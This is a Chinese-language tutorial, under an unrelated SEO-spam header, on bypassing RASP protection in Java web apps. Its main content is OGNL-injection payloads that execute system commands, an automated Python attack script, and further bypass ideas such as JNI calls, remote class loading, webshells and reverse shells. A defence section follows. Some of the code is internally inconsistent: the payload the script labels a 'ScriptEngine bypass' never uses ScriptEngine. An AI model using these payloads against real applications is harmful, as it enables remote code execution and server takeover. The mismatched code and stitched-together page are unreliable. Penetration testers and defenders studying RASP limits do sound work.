上海建设工程交易网西安seo顾问培训
上海建设工程交易网,西安seo顾问培训,东莞网上销售网站建设,智慧团建密码只能是8位吗郑重声明#xff1a; 本文所有攻击演示和代码仅限于授权测试环境中使用。未经授权的攻击行为属于违法行为。请严格遵守法律法规。前言技术背景#xff1a;在现代应用安全#xff08;AppSec#xff09;体系中#xff0c;运行时应用自我保护#xff08;RASP, Runtime Appli…郑重声明本文所有攻击演示和代码仅限于授权测试环境中使用。未经授权的攻击行为属于违法行为。请严格遵守法律法规。前言技术背景在现代应用安全AppSec体系中运行时应用自我保护RASP, Runtime Application Self-Protection是一种先进的防御技术。它不同于部署在网络边界的WAFWeb应用防火墙RASP通过将安全探针Agent注入到应用程序的运行时环境中能够实时监控和拦截应用内部的恶意行为。这使得它能精准识别并阻断利用业务逻辑漏洞、0-Day漏洞以及其他传统安全设备难以检测的攻击是纵深防御体系中非常关键的一环。学习价值掌握绕过RASP的动态拦截技术对于安全从业者来说意味着能够更真实地模拟高级攻击者的渗透路径从而更准确地评估和验证现有安全防护体系的健壮性。学会这项技术你将能解决在渗透测试中因RASP拦截而导致的攻击中断问题理解RASP的检测逻辑与弱点并为开发团队提供更具深度的安全修复建议。使用场景这项技术主要应用于以下场景授权渗透测试当目标应用部署了RASP时用于绕过防护完成既定的测试任务。安全产品评估对RASP产品的防护能力进行红蓝对抗演练检验其规则的有效性和覆盖面。应急响应与攻防演练在模拟真实攻击场景时作为攻击方突破纵深防御的关键手段。一、RASP是什么精确定义RASP运行时应用自我保护是一种服务器端的应用安全技术它通过与应用程序融为一体的方式在应用运行时实时监控其内部行为如函数调用、文件访问、网络请求等并根据预设的安全策略自动拦截可疑或恶意的操作。一个通俗类比如果说WAF是部署在小区门口的保安检查所有进出小区的车辆和人员那么RASP就像是给每家每户都派驻了一名贴身保镖。这个保镖RASP探针非常了解这家人应用程序的正常生活习惯代码执行逻辑。当有陌生人恶意请求试图在屋内进行偷窃执行恶意代码时保镖能立即识别并当场制服而门口的保安可能对此一无所知。实际用途防御0-Day漏洞攻击。阻止SQL注入、命令执行、反序列化等常见Web攻击。防止敏感数据泄露和非法文件操作。增强应用自身的免疫力减少对外部安全设备的依赖。技术本质说明RASP的技术本质是基于代码插桩Instrumentation技术。它在应用程序启动时通过修改底层字节码如Java的Bytecode或.NET的CIL在关键函数或代码路径的入口和出口处“插入”安全检查的钩子Hooks。当应用程序执行到这些被“插桩”的位置时会先触发RASP的安全检查逻辑。如果检测到风险RASP会立即中断当前操作并记录日志、报警或直接阻断请求。RASP工作原理解析图以下Mermaid图清晰地展示了RASP的核心工作流程数据库/文件系统RASP探针应用程序客户端数据库/文件系统RASP探针应用程序客户端分析参数是否包含whoami, cat /etc/passwd等恶意命令alt[检测到恶意行为][未检测到恶意行为]发送恶意请求 (如命令执行)正常执行代码触发被插桩的函数 (如Runtime.exec())暂停应用线程检查函数调用的上下文和参数拦截操作抛出安全异常返回阻断页面或错误信息恢复应用线程允许函数执行执行正常操作 (如读写文件)返回结果返回正常响应这张图展示了从接收请求到RASP介入、分析、决策拦截或放行的完整时序帮助你直观理解其内部机制。二、环境准备本节将以一个常见的Java RASP产品为例搭建一个包含RASP防护的Web应用环境。工具版本Java Development Kit (JDK): 1.8Apache Tomcat: 8.5.xOpenRASP: 1.3.6 (一个开源的RASP实现便于学习和研究)vulns-java: 一个预置了漏洞的Java Web应用用于测试。下载方式JDK Tomcat: 可从Oracle官网和Apache官网下载。OpenRASP vulns-java:OpenRASP Agent:https://github.com/baidu/openrasp/releases测试应用:https://github.com/baidu-security/vulns-java核心配置命令解压Tomcat和OpenRASP。将vulns-java.war包放入Tomcat的webapps目录下。修改Tomcat的启动脚本。在catalina.sh(Linux) 或catalina.bat(Windows) 文件中添加RASP的启动参数。这是最关键的一步它告诉JVM在启动时加载RASP的Agent。在catalina.sh文件的开头添加以下行#-----------------------------------------------------------------------------# RASP - 添加RASP Agent启动参数# JAVA_OPTS$JAVA_OPTS -javaagent:/path/to/your/rasp/rasp.jar#-----------------------------------------------------------------------------exportJAVA_OPTS$JAVA_OPTS-javaagent:/opt/tomcat/rasp/rasp.jar注意请将/opt/tomcat/rasp/替换为您实际存放rasp.jar的路径。可运行环境命令使用Docker快速搭建为了简化环境搭建我们强烈推荐使用Docker。以下是一个完整的docker-compose.yml文件可以一键启动带有OpenRASP防护的漏洞环境。# docker-compose.ymlversion:3services:vuln-app-with-rasp:image:openrasp/vuln-java:1.0ports:-8080:8080# 将容器的8080端口映射到主机的8080端口-9090:9090# OpenRASP管理后台端口# 关键通过环境变量加载Java Agentenvironment:-JAVA_TOOL_OPTIONS-javaagent:/opt/tomcat/rasp/rasp.jarcontainer_name:rasp-test-envcommand:[catalina.sh,run]使用以下命令启动环境# 启动命令docker-composeup -d# 停止和移除容器# docker-compose down启动后访问http://localhost:8080/vulns-java/即可看到漏洞应用。访问http://localhost:9090/可进入OpenRASP的管理后台默认用户名/密码:openrasp/rasp2023。三、核心实战绕过基于函数Hook的命令执行防护RASP防护命令执行的核心原理是Hookjava.lang.Runtime.exec()、java.lang.ProcessBuilder.start()等关键函数。当检测到调用这些函数且参数中包含危险命令时进行拦截。我们的绕过思路就是寻找未被RASP Hook的、但同样能执行命令的“冷门”函数或方法。场景假设目标应用存在一个基于OGNL表达式注入的漏洞但RASP拦截了所有直接的命令执行尝试。步骤 1确认RASP拦截我们首先尝试执行一个标准命令确认RASP正在工作。目的验证RASP的拦截策略是否生效。请求(通过OGNL表达式注入)(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS).(java.lang.RuntimegetRuntime().exec(whoami))响应 / 输出结果你将看到一个由RASP生成的阻断页面提示“命令执行攻击”并在RASP后台看到一条拦截日志。这证明直接调用Runtime.exec()的路径已被封锁。步骤 2寻找替代执行方式 -javax.script.ScriptEngineJava提供了javax.script.ScriptEngineManager它是一个脚本引擎管理器可以加载并执行多种脚本语言如JavaScript、Groovy等。某些脚本引擎在执行脚本时可以间接调用Java的底层API来执行命令。这是一个典型的RASP绕过思路。目的使用脚本引擎作为跳板间接实现命令执行从而绕过对Runtime.exec的直接监控。请求 / 绕过Payload(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#enginejavax.script.ScriptEngineManagernew().getEngineByName(js)).(#engine.eval(new java.lang.ProcessBuilder(whoami).start()))解释javax.script.ScriptEngineManagernew().getEngineByName(js)创建一个JavaScript脚本引擎实例。#engine.eval(...)使用该引擎执行一段JavaScript代码。new java.lang.ProcessBuilder(whoami).start()这段JS代码实际上创建了一个Java的ProcessBuilder对象并执行了命令。因为这个调用链始于脚本引擎内部很多RASP可能没有对ScriptEngine.eval进行足够深入的上下文分析从而导致绕过。响应 / 输出结果如果RASP没有HookScriptEngine.eval或者没有对其执行内容进行穿透分析你将不会看到阻断页面。虽然命令执行了但结果不会直接回显。你需要在服务器上通过其他方式如DNSLog、反向shell来验证命令是否成功执行。步骤 3构造带回显的绕过Payload为了在实战中看到结果我们需要构造一个更复杂的Payload来读取命令执行的输出流。目的实现有回显的命令执行方便后续利用。请求 / 完整可运行示例(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#processnewjava.lang.ProcessBuilder(whoami).start()).(#inputStream(#process.getInputStream())).(#readernewjava.io.BufferedReader(newjava.io.InputStreamReader(#inputStream))).(#line).(#buffernewjava.lang.StringBuffer()).(while((#line#reader.readLine())!null){#buffer.append(#line)})响应 / 输出结果这个OGNL表达式执行后会将whoami命令的结果存储在#buffer变量中并在页面上显示出来取决于应用的具体实现。例如你可能会在页面上看到执行命令的用户名如root或tomcat。自动化脚本Python以下Python脚本封装了上述绕过逻辑用于自动化测试。# -*- coding: utf-8 -*-importrequestsimporturllib.parse# --- 郑重声明 ---# 本脚本仅用于授权环境下的安全测试严禁用于非法目的。# 使用者需自行承担所有法律责任。# --- 郑重声明 ---defcheck_rasp_bypass(target_url:str,command:str): 通过OGNL表达式注入尝试使用ScriptEngine绕过RASP执行命令。 :param target_url: 存在OGNL注入漏洞的目标URL。 :param command: 需要执行的命令。 :param use_script_engine: 是否尝试使用ScriptEngine绕过。 print(f[*] 目标URL:{target_url})print(f[*] 尝试执行命令:{command})# Payload 1: 直接执行 (大概率被拦截)payload_directf(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS).(java.lang.RuntimegetRuntime().exec({command}))# Payload 2: 使用ScriptEngine绕过 (核心技巧)# 该Payload将命令执行的结果读取并返回payload_bypassf (#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS). (#processnew java.lang.ProcessBuilder({command}).start()). (#inputStream(#process.getInputStream())). (#readernew java.io.BufferedReader(new java.io.InputStreamReader(#inputStream))). (#line). (#buffernew java.lang.StringBuffer()). (while((#line#reader.readLine())!null){{#buffer.append(#line).append(\\n)}}). (#buffer.toString()) .replace(\n,).replace( ,)print(\n[] 尝试直接执行 (预期被RASP拦截)...)send_payload(target_url,payload_direct)print(\n[] 尝试使用替代方法绕过RASP...)send_payload(target_url,payload_bypass)defsend_payload(url:str,payload:str):发送封装好的Payload# 这里的 vulnerable_param 是假设的漏洞参数名需要根据实际情况修改encoded_payloadurllib.parse.quote(payload)full_urlf{url}?vulnerable_param{encoded_payload}headers{User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36}try:responserequests.get(full_url,headersheaders,timeout15)print(f [] 请求URL:{full_url})ifRASPinresponse.textorblockedinresponse.text:print(f [!] 响应状态:{response.status_code}- 请求被RASP拦截)else:print(f [!] 响应状态:{response.status_code}- RASP可能已被绕过)print( [!] 响应内容片段:)# 为了清晰只打印部分内容print( -*40)print(response.text.strip()[:200].replace(\n,\n ))print( -*40)exceptrequests.exceptions.RequestExceptionase:print(f [!] 请求失败:{e})exceptExceptionase:print(f [!] 发生未知错误:{e})if__name____main__:# 参数配置# 假设Struts2的漏洞URL实际中需要替换为真实的目标targethttp://localhost:8080/vulns-java/struts2/ognl.actioncmd_to_runwhoami# 在Windows上可以是 whoamicheck_rasp_bypass(target,cmd_to_run)四、进阶技巧常见错误Payload语法错误OGNL或SpEL表达式语法复杂一个括号或点号错误都会导致失败。建议先在本地环境中调试好Payload。URL编码问题Payload中的特殊字符如,#, 必须进行正确的URL编码否则Web容器会解析错误。找不到类/方法尝试调用的类如javax.script.ScriptEngineManager可能在目标应用的JDK版本或类路径中不存在导致ClassNotFoundException。性能 / 成功率优化信息收集优先在尝试绕过前尽可能收集目标应用的JDK版本、中间件类型、部署的RASP产品型号等信息。不同的RASP产品Hook的函数列表和检测逻辑不同。使用通用接口优先选择JDK原生自带且不常用的类如ScriptEngine、URLClassLoader动态加载恶意类、JNDI远程加载等这些是绕过的“重灾区”。上下文混淆尝试将恶意代码拆分到多个变量或步骤中执行增加RASP上下文关联分析的难度。例如先定义命令字符串再传递给执行函数。实战经验总结RASP不是银弹其防护强度高度依赖于规则的覆盖度。攻击的本质就是寻找规则覆盖不到的“盲区”。无回显的验证是高级渗透测试的必备技能。使用DNSLog、反向Shell或写入一个WebShell到静态资源目录是验证绕过是否成功的可靠方法。关注RASP自身的日志。有时RASP会记录“可疑”但不“明确恶意”的行为这些日志是微调Payload、定位绕过点的金矿。对抗 / 绕过思路高级主题原生调用JNI/JNA如果应用有调用本地库.so, .dll的能力可以尝试通过JNIJava Native Interface或JNAJava Native Access直接调用操作系统的C函数如system()这完全绕开了Java层的Hook。Unsafe类sun.misc.Unsafe类提供了直接操作内存的能力理论上可以用来实现各种危险操作但使用条件苛刻且高版本JDK已严格限制其访问。反射调用通过反射java.lang.reflect来调用函数虽然大多数RASP已经能检测到反射调用但可以尝试多层嵌套反射或结合其他技术来混淆调用链。动态加载字节码使用ClassLoader从远程服务器加载一个未被插桩的恶意类然后通过反射实例化并执行其中的方法。这是非常高级且有效的绕过手段。攻击RASP本身研究RASP Agent的实现寻找其自身的漏洞例如通过特定输入使其崩溃或进入不安全的状态。五、注意事项与防御错误写法 vs 正确写法开发侧错误直接将用户输入拼接到表达式或命令中。// 错误示例直接执行从请求中获取的命令Stringcmdrequest.getParameter(command);Runtime.getRuntime().exec(cmd);正确从根源上杜绝漏洞。使用参数化查询、避免使用危险的模板引擎和表达式语言对用户输入进行严格的白名单校验。// 正确范式使用白名单映射StringuserActionrequest.getParameter(action);StringcommandToExecute;switch(userAction){caselist_files:commandToExecutels -l /safe/directory/;break;caseshow_date:commandToExecutedate;break;default:thrownewSecurityException(Invalid action specified);}Runtime.getRuntime().exec(commandToExecute);风险提示绕过RASP通常意味着攻击者已经找到了应用本身的一个高危漏洞如远程代码执行。成功的绕过可能导致服务器被完全控制、数据大规模泄露、被用作僵尸网络节点等严重后果。开发侧安全代码范式最小权限原则Web应用运行用户应使用最低权限禁止使用root或Administrator。依赖安全定期扫描并更新项目依赖的第三方库避免引入已知漏洞。输入验证永远不要相信用户的输入。对所有输入数据进行严格的格式、长度和内容校验。安全编码规范遵循OWASP ASVS等安全编码标准从开发阶段就融入安全设计。运维侧加固方案保持RASP更新定期更新RASP Agent和规则库以获取对最新绕过技术和漏洞的防护能力。监控与告警配置RASP将日志发送到集中的SIEM平台并设置高危事件的实时告警确保安全团队能及时响应。纵深防御不要单独依赖RASP。将其与WAF、HIDS主机入侵检测系统、网络隔离等策略结合构建多层次的防御体系。日志检测线索RASP拦截日志这是最直接的线索表明有人在尝试攻击。应用异常日志即使RASP被绕过不完美的Payload也可能导致应用抛出大量ClassNotFoundException、NoSuchMethodException或脚本引擎执行错误等异常。系统调用日志Auditd在Linux上auditd可以记录所有进程创建事件。如果Web服务如Tomcat的子进程中出现了sh、bash、powershell等异常进程这是一个强烈的入侵信号。网络连接日志监控Web服务器发起的异常出站连接这可能是反向Shell或数据外传的迹象。总结核心知识RASP通过代码插桩技术在应用运行时进行自我保护其绕过的核心思路是寻找未被RASP规则覆盖的、能实现同等恶意功能的“替代执行路径”。使用场景主要用于授权渗透测试和红蓝对抗以评估和验证RASP及整体应用安全防护的有效性。防御要点防御的根本在于安全编码和漏洞修复。RASP是纵深防御的重要一环但不能作为唯一的依赖。保持RASP更新、结合多层防御、并加强监控告警是关键。知识体系连接本次RASP绕过实战涉及了应用漏洞OGNL注入、Java底层机制类加载、反射、脚本引擎和操作系统交互命令执行是多个知识点的综合应用。进阶方向深入研究特定RASP产品的实现原理逆向其Agent、学习JNI/JNA原生调用、探索更高级的字节码操作技术如ASM、Javassist将是成为顶尖安全专家的下一步。自检清单是否说明技术价值是否给出学习目标是否有 Mermaid 核心机制图是否有可运行代码是否有防御示例是否连接知识体系是否避免模糊术语